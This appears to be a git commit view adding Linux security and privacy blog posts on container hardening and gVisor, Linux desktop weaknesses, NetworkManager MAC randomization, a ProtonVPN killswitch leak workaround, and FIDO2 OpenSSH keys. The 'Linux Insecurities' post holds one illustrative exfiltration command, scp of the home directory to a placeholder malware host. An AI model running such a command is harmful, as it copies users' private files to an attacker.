In other words, you'll run containers in *read-only* mode, with an immutable filesystem inherited from the image. Only the mounted volumes will be read/write accessible, and those should ideally be mounted with the `noexec`, `nosuid` and `nodev` options for extra security. If read/write access isn't needed, mount these volumes as read-only too.
|
||||
|
||||
However, the image may not be perfect and still require read/write access to some parts of the filesystem, likely directories such as `/tmp`, `/run` or `/var`. You can make a **tmpfs** for those (a temporary filesystem in the container attributed memory), because they're not persistent data anyway.
|
||||
|
||||
In a Compose file, that would look like the following settings:
|
||||
|
||||
```
|
||||
read_only: true
|
||||
tmpfs:
|
||||
- /tmp:size=10M,mode=0770,uid=1000,gid=1000,noexec,nosuid,nodev
|
||||
```
|
||||
|
||||
That is quite verbose indeed, but that's to show you the different options for a tmpfs mount. You want to restrict them in size and permissions ideally.
|
||||
|
||||
### Network isolation
|
||||
By default, all Docker containers will use the default network bridge. They will see and be able to communicate with each other. Each container should have its own user-defined bridge network, and each connection between containers should have an internal network. If you intend to run a reverse proxy in front of several containers, you should make a dedicated network for each container you want to expose to the reverse proxy.
|
||||
|
||||
The `--network host` option also shouldn't be used for obvious reasons since the container would share the same network as the host, providing no isolation at all.
|
||||
|
||||
## Alternative runtimes (gVisor)
|
||||
`runc` is the reference OCI runtime, but that means other runtimes can exist as well as long as they're compliant with the OCI standard. These runtimes can be interchanged quite seamlessly. There's a few alternatives, such as [crun](https://github.com/containers/crun) or [youki](https://github.com/containers/youki), respectively implemented in C and Rust (`runc` is a Go implementation). However, there is one particular runtime that does a lot more for security: `runsc`, provided by the [gVisor project](https://gvisor.dev/) by the folks at Google.
|
||||
|
||||
**Containers are not a sandbox**, and while we can improve their security, they will fundamentally share a common attack surface with the host. Virtual machines are a solution to that problem, but you might prefer container semantics and ecosystem. gVisor can be perceived as an attempt to get the "best of both worlds": containers that are easy to manage while providing a native isolation boundary. gVisor did just that by implementing two things:
|
||||
|
||||
- **Sentry**: an application kernel in Go, a language known to be memory-safe. It implements the Linux logic in userspace such as various system calls.
|
||||
- **Gofer**: a host process which communicates with Sentry and the host filesystem, since Sentry is restricted in that aspect.
|
||||
|
||||
A platform like ptrace or KVM is used to intercept system calls and redirect them from the application to Sentry, which is running in the userspace. This has some costs: there is a higher per-syscall overhead, and compatibility is reduced since not all syscalls are implemented. On top of that, gVisor employs security mechanisms we've glanced over above, such as a [very restrictive seccomp profile](https://github.com/google/gvisor/blob/86ad7d5b5838da1b539e976886d04b93c939ca3d/runsc/boot/filter/config.go) between Sentry and the host kernel, the [no_new_privs bit](https://github.com/google/gvisor/blob/6ef268409620c57197b9d573e23be8cb05dbf381/pkg/sentry/kernel/task_identity.go#L464), and isolated namespaces from the host.
|
||||
|
||||
The security model of gVisor is comparable to what you would expect from a virtual machine. It is also very easy to [install and use](https://gvisor.dev/docs/user_guide/install/). The path to runsc along with its different configuration flags (`runsc flags`) should be added to `/etc/docker/daemon.json`:
|
||||
|
||||
```json
|
||||
"runtimes": {
|
||||
"runsc-ptrace": {
|
||||
"path": "/usr/local/bin/runsc",
|
||||
"runtimeArgs": [
|
||||
"--platform=ptrace"
|
||||
]
|
||||
},
|
||||
"runsc-kvm": {
|
||||
"path": "/usr/local/bin/runsc",
|
||||
"runtimeArgs": [
|
||||
"--platform=kvm"
|
||||
]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
`runsc` needs to start with root to set up some mitigations, including the use of its own network stack separated from the host. The sandbox itself drops privileges to nobody as soon as possible. You can still use `runsc` rootless if you want (which should be needed for Podman):
|
||||
|
||||
```
|
||||
./runsc --rootless do uname -a
|
||||
*** Warning: sandbox network isn't supported with --rootless, switching to host ***
|
||||
Linux 4.4.0 #1 SMP Sun Jan 10 15:06:54 PST 2016 x86_64 GNU/Linux
|
||||
```
|
||||
|
||||
Linux 4.4.0 is shown because that is the version of the Linux API that Sentry tries to mimic. As you've probably guessed, you're not really using Linux 4.4.0, but the application kernel that behaves like it. By the way, gVisor is of course compatible with cgroups.
|
||||
|
||||
## Conclusion: what's a container after all?
|
||||
Like I wrote above, a container is mostly defined by its semantics and ecosystem. Containers shouldn't be solely defined by the OCI reference runtime implementation, as we've seen with gVisor that provides an entirely different security model.
|
||||
|
||||
Still not convinced? What if I told you a container can leverage the same technologies as a virtual machine? That is exactly what [Kata Containers](https://katacontainers.io/) does by using a VMM like QEMU-lite to provide containers that are in fact lightweight virtual machines, with their traditional resources and security model, compatibility with container semantics and toolset, and an optimized overhead. While not in the OCI ecosystem, Amazon achieves quite the same with [Firecracker](https://firecracker-microvm.github.io/).
|
||||
|
||||
If you're running untrusted workloads, I highly suggest you consider gVisor instead of a traditional container runtime. Your definition of "untrusted" may vary: for me, almost everything should be considered untrusted. That is how modern security works, and how mobile operating systems work. It's quite simple, security should be simple, and gVisor simply offers native security.
|
||||
|
||||
Containers are a popular, yet strange world. They revolutionized the way we make and deploy software, but one should not loose the sight of what they really are and aren't. This hardening guide is non-exhaustive, but I hope it can make you aware of some aspects you've never thought of.
|
58
content/posts/linux/Linux Insecurities.md
Normal file
58
content/posts/linux/Linux Insecurities.md
Normal file
|
@ -0,0 +1,58 @@
|
|||
---
|
||||
title: "Linux Insecurities"
|
||||
date: 2022-07-18
|
||||
tags: ['Operating Systems', 'Linux', 'Security',]
|
||||
author: Tommy
|
||||
---
|
||||
|
||||
There is a common misconception among privacy communities that Linux is one of the more secure operating systems, either because it is open-source or because it is widely used in the cloud. However, this is a far cry from reality.
|
||||
|
||||
There is already a very in-depth technical blog explaining the various security weaknesses of Linux by Madaidan, [Whonix](https://www.whonix.org/)'s Security Researcher. This page will attempt to address some of the questions commonly raised in reaction to his blog post. You can find the original article [here](https://madaidans-insecurities.github.io/linux.html).
|
||||
|
||||

|
||||
|
||||
## Why is Linux used on servers if it is so insecure?
|
||||
|
||||
On servers, while most of the problems referenced in the article still exist, they are somewhat less problematic.
|
||||
|
||||
On Desktop Linux, GUI applications run under your user, and thus have access to all of your files in `/home`. This is in contrast to how system daemons typically run on servers, where they have their own group and user. For example, NGINX will run under `nginx:nginx` on Red Hat distributions, or `www-data:www-data` on Debian based ones. Discretionary Access Control does help with filesystem access control for server processes, but is useless for desktop applications.
|
||||
|
||||
Another thing to keep in mind is that Mandatory Access Control is also somewhat effective on servers, as commonly run system daemons are confined. In contrast, on desktop, there is virtually no AppArmor profile to confine even regularly used apps like Chrome or Firefox, let alone less common ones. On SELinux systems, these apps run in the UNCONFINED SELinux domain.
|
||||
|
||||
Linux servers are lighter than Desktop Linux systems by orders of magnitude, without hundreds of packages and dozens of system daemons running like X11, audio servers, printing stack, and so on. Thus, the attack surface is much smaller.
|
||||
|
||||
## Linux Hardening Myths
|
||||
|
||||
There is a common claim in response to Madaidan that Linux is only insecure by default, and that an experienced user can make it the most secure operating system out there, surpassing the likes of macOS or ChromeOS. Unfortunately, this is wishful thinking. There is no amount of hardening that one can reasonably apply as a user to fix up the inherent issues with Linux.
|
||||
|
||||
### Lack of verified boot
|
||||
|
||||
macOS, ChromeOS, and Android have a clear distinction between the system and user installed application. In over simplified terms, the system volume is signed by the OS vendor, and the firmware and boot loader works to make sure that said volume has the authorized signature. The operating system itself is immutable, and nothing the user does will need or be allowed to tamper with the system volume.
|
||||
|
||||
On Linux, there is no such clear distinction between the system and user installed applications. Linux distributions are a bunch of packages put together to make a system that works, and thus every package is treated as part of said system. The end result is that binaries, regardless of whether they are vital for the system to function or just an extra application, are thrown into the same directories as each other (namely `/usr/bin` and `/usr/local/bin`). This makes it impossible for an end user to setup a verification mechanism to verify the integrity of "the system", as said "system" is not clearly defined in the first place.
|
||||
|
||||
### Lack of application sandboxing
|
||||
|
||||
Operating systems like Android and ChromeOS have full system mandatory access control, every process from the init process is strictly confined. Regardless of which application you install or how you install them, they have to play by the rules of an untrusted SELinux domain and are only able to utilize unprivileged APIs.
|
||||
|
||||
Even on macOS, where the application sandbox is opt-in for developers, there is still a permission control system (TCC) for unprivileged applications. Apps run by the user do not have unrestricted access to their microphone, webcam, keystrokes, sensitive documents, and so on.
|
||||
|
||||
On Linux, it is quite the opposite. Out of the box, most systems only have a few system daemons confined. Some Linux distributions don't even have a Mandatory Access Control system at all. Applications are designed in an environment where they expect to be able to do whatever they want, and the app sandboxes/mandatory access control system are merely an afterthought trying to restrict an app to only access what it expects to be accessible.
|
||||
|
||||
This is reflected in the under utilization of the [Portals API](https://docs.flatpak.org/en/latest/portal-api-reference.html) as an example. Portals is designed to be an API where apps have to prompt the user to access their files (through the File Manager) or their microphone and camera. Unfortunately, the vast majority of apps are not designed with this in mind, and expect direct access to the filesystem, pulseaudio socket or the entire `/dev`. As a result, Flatpak maintainers often opt to have extremely lax permissions to the point where they have to grant `filesystem=home`, `filesystem=host`, `socket=pulseaudio` or `devices=all`, otherwise apps will break and give users a bad experience.
|
||||
|
||||
To make matters worse, some system daemons are not designed with permission control in mind at all. For example, PulseAudio does not have any concept of audio in or out permission. Thus, the user is often left with only the choice of granting an app access to the socket or not. If they want to block microphone access, they have to block access to the socket, and thus break audio playback in the process. If they do want an audio playback, then they have to allow access to the PulseAudio socket, which in turns give an app unrestricted access to record them at any moment.
|
||||
|
||||
The only way to systematically fix this problem is to design a whole new system from scratch with a permission model like that of Android in mind. And even when that happens, it will take substantial work to get developers to develop their apps for said system.
|
||||
|
||||
## But Linux is open source!
|
||||
|
||||
Something being open source does not imply that it is inherently private, secure, or trustworthy. I recommend reading the [FLOSS Security](/posts/knowledge/floss-security) post by [Rohan Kumar](https://seirdy.one/posts/2022/02/02/floss-security/).
|
||||
|
||||
## But there is less malware on Linux!
|
||||
|
||||
**Security by irrelevance does not work**. Just because there are fewer users of your favorite operating system does not make it any safer.
|
||||
|
||||
Ask yourself this: Would you ditch Windows for ReactOS considering that it is a lot less popular and is less targeted? Likewise, would you ditch Linux desktop when it becomes the mainstream solution for the BSDs or some niche operating systems just because they are less popular?
|
||||
|
||||
Malware for Linux does exist, and it is not hard to make. It can be something as trivial as a shell script or binary executing `scp -r ~/ malware@xx.xx.xx.xx:/data`. Due to the lack of application sandboxing or an application permission model, your computer can be compromised the moment you execute a malicious binary, shell script, or install script with or without root and with or without an exploit. This is, of course, not to discount the fact that many exploits do exist on Linux just like on any other operating systems as well.
|
181
content/posts/linux/NetworkManager Trackability Reduction.md
Normal file
181
content/posts/linux/NetworkManager Trackability Reduction.md
Normal file
|
@ -0,0 +1,181 @@
|
|||
---
|
||||
title: "NetworkManager Trackability Reduction"
|
||||
tags: ['Operating Systems', 'Linux', 'Privacy']
|
||||
date: 2022-09-04
|
||||
author: WfKe9vLwSvv7rN
|
||||
canonicalURL: https://wanderingcomputerer.gitlab.io/guides/tips/nm-hardening/
|
||||
ShowCanonicalLink: true
|
||||
---
|
||||
|
||||
## MAC address randomization
|
||||
|
||||
Note that Ethernet connections can still be tracked via switch ports, and WiFi connections can be broadly localized by access point.
|
||||
|
||||
Furthermore, MAC address spoofing and randomization depends on firmware support from the interface. Most modern network interface cards support the feature.
|
||||
|
||||
There are three different aspects of MAC address randomization in NetworkManager, each with their own configuration flag:
|
||||
|
||||
#### WiFi scanning
|
||||
|
||||
```
|
||||
[device]
|
||||
wifi.scan-rand-mac-address=yes
|
||||
```
|
||||
|
||||
#### WiFi connections
|
||||
|
||||
```
|
||||
[connection]
|
||||
wifi.cloned-mac-address=<mode>
|
||||
```
|
||||
|
||||
#### Ethernet connections
|
||||
|
||||
```
|
||||
[connection]
|
||||
ethernet.cloned-mac-address=<mode>
|
||||
```
|
||||
|
||||
#### Mode options
|
||||
|
||||
`random`: Generate a new random MAC address every time a connection is activated
|
||||
|
||||
`stable`: Assign each connection a random MAC address that will be maintained across activations
|
||||
|
||||
`preserve`: Use the MAC address already assigned to the interface (such as from `macchanger`), or the permanent address if none is assigned
|
||||
|
||||
`permanent`: Use the MAC address permanently baked into the hardware
|
||||
|
||||
### Setting a default configuration {#macrand-default-configuration}
|
||||
|
||||
It's best to create a dedicated configuration file, such as `/etc/NetworkManager/conf.d/99-random-mac.conf`, to ensure package updates do not overwrite the configuration. In general, I recommend the following:
|
||||
|
||||
```
|
||||
[device]
|
||||
wifi.scan-rand-mac-address=yes
|
||||
|
||||
[connection]
|
||||
wifi.cloned-mac-address=random
|
||||
ethernet.cloned-mac-address=random
|
||||
```
|
||||
|
||||
This configuration randomizes all MAC addresses by default. These settings can of course be [overridden on a per-connection basis](#per-connection-overrides).
|
||||
|
||||
After editing the file, run `sudo nmcli general reload conf` to apply the new configuration.
|
||||
|
||||
### Per-connection overrides
|
||||
|
||||
Connection-specific settings take precedence over configuration file defaults. They can be set through `nm-connection-editor` ("Network Connections"), a DE-specific network settings GUI, `nmtui`, or `nmcli`.
|
||||
|
||||
Look for "Cloned MAC address" under the "Wi-Fi" or "Ethernet" section:
|
||||
|
||||

|
||||
|
||||
In addition to the four mode keywords, you can input an exact MAC address to be used for that connection.
|
||||
|
||||
For a home or other trusted network, it can be helpful to use `stable` or even `permanent`, as MAC address stability can help avoid being repeatedly served a new IP address and DHCP lease (though not all DHCP servers work this way).
|
||||
|
||||
For public networks with captive portals (webpages that must be accessed to gain network access), the `stable` setting can help prevent redirection back to the captive portal after a brief disconnection or roaming to a different access point.
|
||||
|
||||
### Seeing the randomized MAC address
|
||||
|
||||
Activate the connection in question, and then look for `GENERAL.HWADDR` in the output of `nmcli device show`. This represents the MAC address currently in use by the interface, whether randomized or not. It is also visible as "Hardware Address" (or similar) in NetworkManager GUIs under active connection details.
|
||||
|
||||
```bash
|
||||
$ nmcli device show
|
||||
GENERAL.DEVICE: enp5s0
|
||||
GENERAL.TYPE: ethernet
|
||||
GENERAL.HWADDR: XX:XX:XX:XX:XX:XX
|
||||
|
||||
GENERAL.DEVICE: wlp3s0
|
||||
GENERAL.TYPE: wifi
|
||||
GENERAL.HWADDR: XX:XX:XX:XX:XX:XX
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Remove static hostname to prevent hostname broadcast
|
||||
|
||||
|
||||
```bash
|
||||
sudo hostnamectl hostname "localhost"
|
||||
```
|
||||
|
||||
An empty (blank) hostname is also an option, but a static hostname of "localhost" is less likely to cause breakage. Both will result in no hostname being broadcasted to the DHCP server.
|
||||
|
||||
### Disabling transient hostname management {#rmhostname-transient}
|
||||
|
||||
It's best to create a dedicated configuration file, such as `/etc/NetworkManager/conf.d/01-transient-hostname.conf`, to ensure package updates do not overwrite the configuration:
|
||||
|
||||
```
|
||||
[main]
|
||||
hostname-mode=none
|
||||
```
|
||||
|
||||
This will prevent NetworkManager from setting transient hostnames that may be provided by some DHCP servers. This will have no visible effect except with an empty static hostname.
|
||||
|
||||
After editing the file, run `sudo nmcli general reload conf` to apply the new configuration. Run `sudo hostnamectl --transient hostname ""` to reset the transient hostname.
|
||||
|
||||
---
|
||||
|
||||
## Disable sending hostname to DHCP server
|
||||
|
||||
**This configuration will leak your hostname on first connection.** Setting a generic or random hostname is strongly recommended if possible.
|
||||
|
||||
Due to [limitations in NetworkManager](https://gitlab.freedesktop.org/NetworkManager/NetworkManager/-/issues/584 "NetworkManager issue: No way to set dhcp-send-hostname globally"), it is not possible to reliably disable sending hostnames by default. This setup is very much a hack.
|
||||
|
||||
Due to being leaky, this configuration is virtually useless without also [randomizing MAC addresses by default](#macrand-default-configuration "MAC address randomization — Setting a default configuration"). Your MAC address and hostname will not be correlated starting with the second connection, assuming the first connection used a random MAC address.
|
||||
|
||||
Create `/etc/NetworkManager/dispatcher.d/no-wait.d/01-no-send-hostname.sh` as follows:
|
||||
|
||||
```sh
|
||||
#!/bin/sh
|
||||
|
||||
if [ "$(nmcli -g 802-11-wireless.cloned-mac-address c show "$CONNECTION_UUID")" = 'permanent' ] \
|
||||
|| [ "$(nmcli -g 802-3-ethernet.cloned-mac-address c show "$CONNECTION_UUID")" = 'permanent' ]
|
||||
then
|
||||
nmcli connection modify "$CONNECTION_UUID" \
|
||||
ipv4.dhcp-send-hostname true \
|
||||
ipv6.dhcp-send-hostname true
|
||||
else
|
||||
nmcli connection modify "$CONNECTION_UUID" \
|
||||
ipv4.dhcp-send-hostname false \
|
||||
ipv6.dhcp-send-hostname false
|
||||
fi
|
||||
```
|
||||
|
||||
The script must have specific file permissions and a symlink to take effect:
|
||||
|
||||
```bash
|
||||
cd /etc/NetworkManager/dispatcher.d/
|
||||
sudo chown root:root no-wait.d/01-no-send-hostname.sh
|
||||
sudo chmod 744 no-wait.d/01-no-send-hostname.sh
|
||||
sudo ln -s no-wait.d/01-no-send-hostname.sh ./
|
||||
```
|
||||
|
||||
This script will be automatically triggered on connection events to modify the connection's `dhcp-send-hostname` settings. If the connection's _cloned MAC address_ is [explicitly overridden](#per-connection-overrides) to `permanent`, the hostname will be sent to the DHCP server on future connections. In all other cases, the hostname will be masked on future connections, so the DHCP server will only see the MAC address.
|
||||
|
||||
### Verifying proper operation
|
||||
|
||||
After initiating first connection with a network:
|
||||
|
||||
```bash
|
||||
$ nmcli c show <connection> | grep dhcp-send-hostname
|
||||
ipv4.dhcp-send-hostname: no
|
||||
ipv6.dhcp-send-hostname: no
|
||||
```
|
||||
|
||||
`<connection>` can be the connection name (usually the SSID for WiFi networks) or UUID, obtained from `nmcli c show [--active]`.
|
||||
|
||||
_Recall that these setting values are set based on the previous connection activation and take effect for the next connection activation._
|
||||
|
||||
---
|
||||
|
||||
## Sources
|
||||
- [ArchWiki --- NetworkManager](https://wiki.archlinux.org/title/NetworkManager#Configuring_MAC_address_randomization)
|
||||
- [hostnamectl man page](https://www.freedesktop.org/software/systemd/man/hostnamectl)
|
||||
- [MAC Address Spoofing in NetworkManager 1.4.0](https://blogs.gnome.org/thaller/2016/08/26/mac-address-spoofing-in-networkmanager-1-4-0/)
|
||||
- [NetworkManager.conf man page](https://networkmanager.dev/docs/api/latest/NetworkManager.conf.html)
|
||||
- [NetworkManager-dispatcher man page](https://networkmanager.dev/docs/api/latest/NetworkManager-dispatcher.html)
|
||||
- [NetworkManager: Disable Sending Hostname to DHCP Server](https://viliampucik.blogspot.com/2016/09/networkmanager-disable-sending-hostname.html)
|
||||
- [nmcli man page](https://networkmanager.dev/docs/api/latest/nmcli.html)
|
|
@ -0,0 +1,84 @@
|
|||
---
|
||||
title: "ProtonVPN IP Leakage on Linux and Workaround"
|
||||
date: 2022-10-08
|
||||
tags: ['Applications', 'Linux', 'Qubes OS', 'Privacy']
|
||||
author: Tommy
|
||||
---
|
||||
|
||||
**Before We Start**...
|
||||
|
||||
I sent Proton an email regarding this issue in late August 2022 and was told they are working on fixing it, though it will take some time as it requires some architectural changes in how the killswitch works.
|
||||
|
||||
## The Leak
|
||||
|
||||
Ideally, when implementing a killswitch, a VPN client should drop all connections on non-VPN interfaces except when the connection is to the VPN provider's servers. This is necessary to prevent accidental leaks, at least by unprivileged applications. Unfortunately, the ProtonVPN client does not currently do this.
|
||||
|
||||
Effectively, any application that binds to the connected physical interface (as opposed to the VPN's virtual interface) on your Linux system will expose your actual IP address, regardless of the killswitch state. This is problematic, especially for certain applications like Torrent clients, as they tend to use whatever interfaces they can access (rather than just the default one) to connect to the internet.
|
||||
You can check this with `curl`:
|
||||
|
||||
```bash
|
||||
curl --interface <physical interface> https://ipinfo.io
|
||||
```
|
||||
|
||||
This will return your actual IP address.
|
||||
|
||||
## The Workaround
|
||||
|
||||
### Qubes OS
|
||||
|
||||
On Qubes OS, you generally should not have a problem if you use the ProtonVPN client in a ProxyVM. While the same issue still exists within the ProxyVM itself, it is unlikely to manifest as you should not be running any other applications in the same Qube anyways, and apps in an AppVM cannot bind to the public interface of the ProxyVM. I have not observed any leaks from an AppVM behind a ProtonVPN ProxyVM.
|
||||
|
||||
### General Linux Distributions
|
||||
|
||||
On a general Linux distribution, the workaround is to configure OpenVPN manually and setup a killswitch yourself.
|
||||
|
||||
Since ProtonVPN does not support IPv6, you should disable it in your kernel settings:
|
||||
|
||||
```bash
|
||||
echo 'net.ipv6.conf.all.disable_ipv6=1
|
||||
net.ipv6.conf.default.disable_ipv6=1
|
||||
net.ipv6.conf.lo.disable_ipv6=1' | sudo tee /etc/sysctl.d/10-disable-ipv6.conf
|
||||
sudo sysctl -p
|
||||
```
|
||||
|
||||
Next, download your OpenVPN configuration files from [account.protonvpn.com](https://account.protonvpn.com/). In those configuration files, you should see a list of IP addresses and ports of ProtonVPN's servers.
|
||||
|
||||
Finally, set up the VPN killswitch. The rules I posted here are based on [this discussion](https://airvpn.org/forums/topic/15061-firewalld-killswitch/).
|
||||
|
||||
#### Firewalld
|
||||
|
||||
```bash
|
||||
sudo firewall-cmd --direct --permanent --add-rule ipv4 filter FORWARD 0 -o tun+ -j ACCEPT
|
||||
sudo firewall-cmd --direct --permanent --add-rule ipv4 filter FORWARD 0 -i tun+ -j ACCEPT
|
||||
|
||||
sudo firewall-cmd --direct --permanent --add-rule ipv6 filter INPUT 0 -j DROP
|
||||
sudo firewall-cmd --direct --permanent --add-rule ipv4 filter INPUT 0 -i lo -j ACCEPT
|
||||
sudo firewall-cmd --direct --permanent --add-rule ipv4 filter INPUT 1 -i tun+ -p tcp -j ACCEPT
|
||||
sudo firewall-cmd --direct --permanent --add-rule ipv4 filter INPUT 1 -i tun+ -p udp -j ACCEPT
|
||||
sudo firewall-cmd --direct --permanent --add-rule ipv4 filter INPUT 999 -j DROP
|
||||
|
||||
sudo firewall-cmd --direct --permanent --add-rule ipv6 filter OUTPUT 0 -j DROP
|
||||
sudo firewall-cmd --direct --permanent --add-rule ipv4 filter OUTPUT 0 -o lo -j ACCEPT
|
||||
sudo firewall-cmd --direct --permanent --add-rule ipv4 filter OUTPUT 0 -o tun+ -j ACCEPT
|
||||
|
||||
#You will need to add each of the IP address and port with the following command:
|
||||
sudo firewall-cmd --direct --permanent --add-rule ipv4 filter OUTPUT 1 -p udp -m udp --dport $PORT -d $IP -j ACCEPT
|
||||
|
||||
sudo firewall-cmd --direct --permanent --add-rule ipv4 filter OUTPUT 999 -j DROP
|
||||
|
||||
sudo firewall-cmd --reload
|
||||
```
|
||||
|
||||
#### UFW
|
||||
|
||||
```bash
|
||||
sudo ufw default deny incoming
|
||||
sudo ufw default deny outgoing
|
||||
|
||||
#You will need to add each of the IP address and port with the following command:
|
||||
sudo ufw allow out to $IP port $PORT proto udp
|
||||
|
||||
sudo ufw allow out on tun0 from any to any
|
||||
```
|
||||
|
||||
|
75
content/posts/linux/Securing OpenSSH with FIDO2.md
Normal file
75
content/posts/linux/Securing OpenSSH with FIDO2.md
Normal file
|
@ -0,0 +1,75 @@
|
|||
---
|
||||
title: "Securing OpenSSH with FIDO2"
|
||||
date: 2022-04-09T17:43:12Z
|
||||
tags: ['Operating Systems', 'Linux', 'Security']
|
||||
author: Wonderfall
|
||||
canonicalURL: https://wonderfall.dev/openssh-fido2/
|
||||
ShowCanonicalLink: true
|
||||
---
|
||||
|
||||
Passwordless authentication with OpenSSH keys has been the *de facto* security standard for years. SSH keys are more robust since they're cryptographically sane by default, and are therefore resilient to most bruteforce atacks. They're also easier to manage while enabling a form of decentralized authentication (it's easy and painless to revoke them). So, what's the next step? And more exactly, why would one need something even better?
|
||||
|
||||
|
||||
## Why?
|
||||
|
||||
The main problem with SSH keys is that they're not magic: they consist of a key pair, of which the private key is stored on your disk. You should be wary of various exfiltration attempts, depending on your theat model:
|
||||
|
||||
- If your disk is not encrypted, any physical access could compromise your keys.
|
||||
- If your private key isn't encrypted, malicious applications could compromise it.
|
||||
- Even with both encrypted, malicious applications could register your keystrokes.
|
||||
|
||||
All these attempts are particularly a thing on desktop platforms, because they don't have a proper sandboxing model. On Windows, non-UWP apps could likely have full access to your `.ssh` directory. On desktop Linux distributions, sandboxing is also lacking, and the situation is even worse if you're using X.org since it allows apps to spy on each other (and on your keyboard) by design. A first good step would be to only use SSH from a trusted & decently secure system.
|
||||
|
||||
Another layer of defense would obviously be multi-factor authentication, or the fact that you're relying on a shared secret instead. We can use FIDO2 security keys for that. That way, even if your private key is compromised, the attacker needs physical access to your security key. TOTP is another common 2FA technique, but it's vulnerable to various attacks, and relies on the quality of the implementation on the server.
|
||||
|
||||
|
||||
## How?
|
||||
|
||||
Fortunately for us, [OpenSSH 8.2](https://www.openssh.com/txt/release-8.2) (released in February 2020) introduced native support for FIDO2/U2F. Most OpenSSH distributions should have the middleware set to use the `libfido2` library, including portable versions such as the one [for Win32](https://github.com/PowerShell/Win32-OpenSSH).
|
||||
|
||||
Basically, `ssh-keygen -t ${key_type}-sk` will generate for us a token-backed key pair. The key types that are supported depend on your security key. Newer models should support both ECDSA-P256 (`ecdsa-sk`) and Ed25519 (`ed25519-sk`). If the latter is available, you should prefer it.
|
||||
|
||||
### Client configuration
|
||||
To get started:
|
||||
|
||||
```
|
||||
ssh-keygen -t ed25519-sk
|
||||
```
|
||||
|
||||
This will generate a `id_ed25519_sk` private key and a `id_ed25519_sk.pub` public key in `.ssh`. These are defaults, but you can change them if you want. We will call this key pair a "handle", because they're not sufficient by themselves to derive the real secret (as you guessed it, the FIDO2 token is needed). `ssh-keygen` should ask you to touch the key, and enter the PIN prior to that if you did set one (you probably should).
|
||||
|
||||
You can also generate a **resident key** (referred to as *discoverable credential* in the WebAuthn specification):
|
||||
|
||||
```
|
||||
ssh-keygen -t ed25519-sk -O resident -O application=ssh:user1
|
||||
```
|
||||
|
||||
As you can see, a few options must be specified:
|
||||
|
||||
- `-O resident` will tell `ssh-keygen` to generate a resident key, meaning that the private "handle" key will also be stored on the security key itself. This has security implications, but you may want that to move seamlessly between different computers. In that case, you should absolutely protect your key with a PIN beforehand.
|
||||
- `-O application=ssh:` is necessary to instruct that the resident key will use a particular slot, because the security key will have to index the resident keys (by default, they use `ssh:` with an empty user ID). If this is not specified, the next key generation might overwrite the previous one.
|
||||
- `-O verify-required` is optional but instructs that a PIN is required to generate/access the key.
|
||||
|
||||
Resident keys can be retrieved using `ssh-keygen -K` or `ssh-add -K` if you don't want to write them to the disk.
|
||||
|
||||
### Server configuration
|
||||
Next, transfer your public key over to the server (granted you have already access to it with a regular key pair):
|
||||
|
||||
```
|
||||
ssh-copy-id -i ~/.ssh/id_ed25519_sk.pub user@server.domain.tld
|
||||
```
|
||||
|
||||
*Ta-da!* But one last thing: we need to make sure the server supports this public key format in `sshd_config`:
|
||||
|
||||
```
|
||||
PubkeyAcceptedKeyTypes ssh-ed25519,sk-ssh-ed25519@openssh.com
|
||||
```
|
||||
|
||||
Adding `sk-ssh-ed25519@openssh.com` to `PubkeyAcceptedKeyTypes` should suffice. It's best practice to only use the cryptographic primitives that you need, and hopefully ones that are also modern. This isn't a full-on SSH hardening guide, but you should take a look at the [configuration file GrapheneOS uses](https://github.com/GrapheneOS/infrastructure/blob/main/sshd_config) for their servers to give you an idea on a few good practices.
|
||||
|
||||
Restart the `sshd` service and try to connect to your server using your key handle (by passing `-i ~/.ssh/id_ed25519_sk` to `ssh` for instance). If that works for you (your FIDO2 security key should be needed to derive the real secret), feel free to remove your previous keys from `.ssh/authorized_keys` on your server.
|
||||
|
||||
## That's cool, right?
|
||||
If you don't have a security key, you can buy one from [YubiKey](https://www.yubico.com/fr/store/) (I'm very happy with my 5C NFC by the way), [Nitrokey](https://www.nitrokey.com/), [SoloKeys](https://solokeys.com/) or [OnlyKey](https://onlykey.io/) (to name a few). If you have an Android device with a hardware security module (HSM), such as the Google Pixels equipped with Titan M (Pixel 3+), you could even use them as bluetooth security keys.
|
||||
|
||||
*No reason to miss out on the party if you can afford it!*
|
7
content/posts/linux/_index.md
Normal file
7
content/posts/linux/_index.md
Normal file
|
@ -0,0 +1,7 @@
|
|||
---
|
||||
title: Linux
|
||||
ShowReadingTime: false
|
||||
ShowWordCount: false
|
||||
---
|
||||
|
||||
A collection of posts about Linux and related applications
|
Loading…
Add table
Add a link
Reference in a new issue